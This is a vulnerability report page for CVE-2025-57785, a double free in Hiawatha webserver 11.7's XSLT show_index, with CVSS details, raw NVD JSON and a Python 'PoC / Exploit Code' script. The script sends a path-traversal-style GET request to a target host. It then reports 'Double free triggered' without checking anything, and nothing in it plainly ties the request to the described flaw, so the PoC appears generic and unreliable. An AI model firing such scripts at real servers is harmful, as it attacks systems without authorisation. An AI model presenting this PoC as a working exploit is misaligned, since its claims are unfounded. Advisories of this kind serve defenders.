Security Vulnerability Report
中文
CVE-2025-57785 CVSS 6.5 MEDIUM

CVE-2025-57785

Published: 2026-01-26 18:16:28
Last Modified: 2026-02-13 15:21:41

Description

A Double Free in XSLT `show_index` has been identified in Hiawatha webserver version 11.7 which allows an unauthenticated attacker to corrupt data which may lead to arbitrary code execution.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hiawatha.leisink:hiawatha_webserver:11.7:*:*:*:*:*:*:* - VULNERABLE
Hiawatha webserver < 11.7
Hiawatha webserver = 11.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys def exploit_hiawatha_double_free(target_host, target_port=80): """ PoC for CVE-2025-57785: Double Free in Hiawatha XSLT show_index This PoC demonstrates the vulnerability by sending a specially crafted XSLT request that triggers the double free condition. """ # Construct malicious XSLT request targeting show_index function malicious_request = b"GET /index.xslt?path=/../../ HTTP/1.1\r\n" malicious_request += b"Host: " + target_host.encode() + b"\r\n" malicious_request += b"User-Agent: Mozilla/5.0\r\n" malicious_request += b"Accept: text/html\r\n\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print(f"[*] Sending malicious request to {target_host}:{target_port}") sock.sendall(malicious_request) response = sock.recv(4096) print(f"[*] Response received: {response[:200]}") print("[*] Double free triggered - check server stability") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_57785_poc.py <target_host>") sys.exit(1) exploit_hiawatha_double_free(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57785", "sourceIdentifier": "[email protected]", "published": "2026-01-26T18:16:27.570", "lastModified": "2026-02-13T15:21:40.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Double Free in XSLT `show_index` has been identified in Hiawatha webserver version 11.7 which allows an unauthenticated attacker to corrupt data which may lead to arbitrary code execution."}, {"lang": "es", "value": "Un Double Free en XSLT 'show_index' se ha identificado en el servidor web Hiawatha versión 11.7, lo que permite a un atacante no autenticado corromper datos, lo que podría llevar a la ejecución de código arbitrario."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hiawatha.leisink:hiawatha_webserver:11.7:*:*:*:*:*:*:*", "matchCriteriaId": "350ABC8A-01B5-4918-A696-B17C95B158BB"}]}]}], "references": [{"url": "https://gitlab.com/hsleisink/hiawatha/-/blame/master/src/xslt.c?ref_type=heads#L675", "source": "[email protected]", "tags": ["Release Notes"]}]}}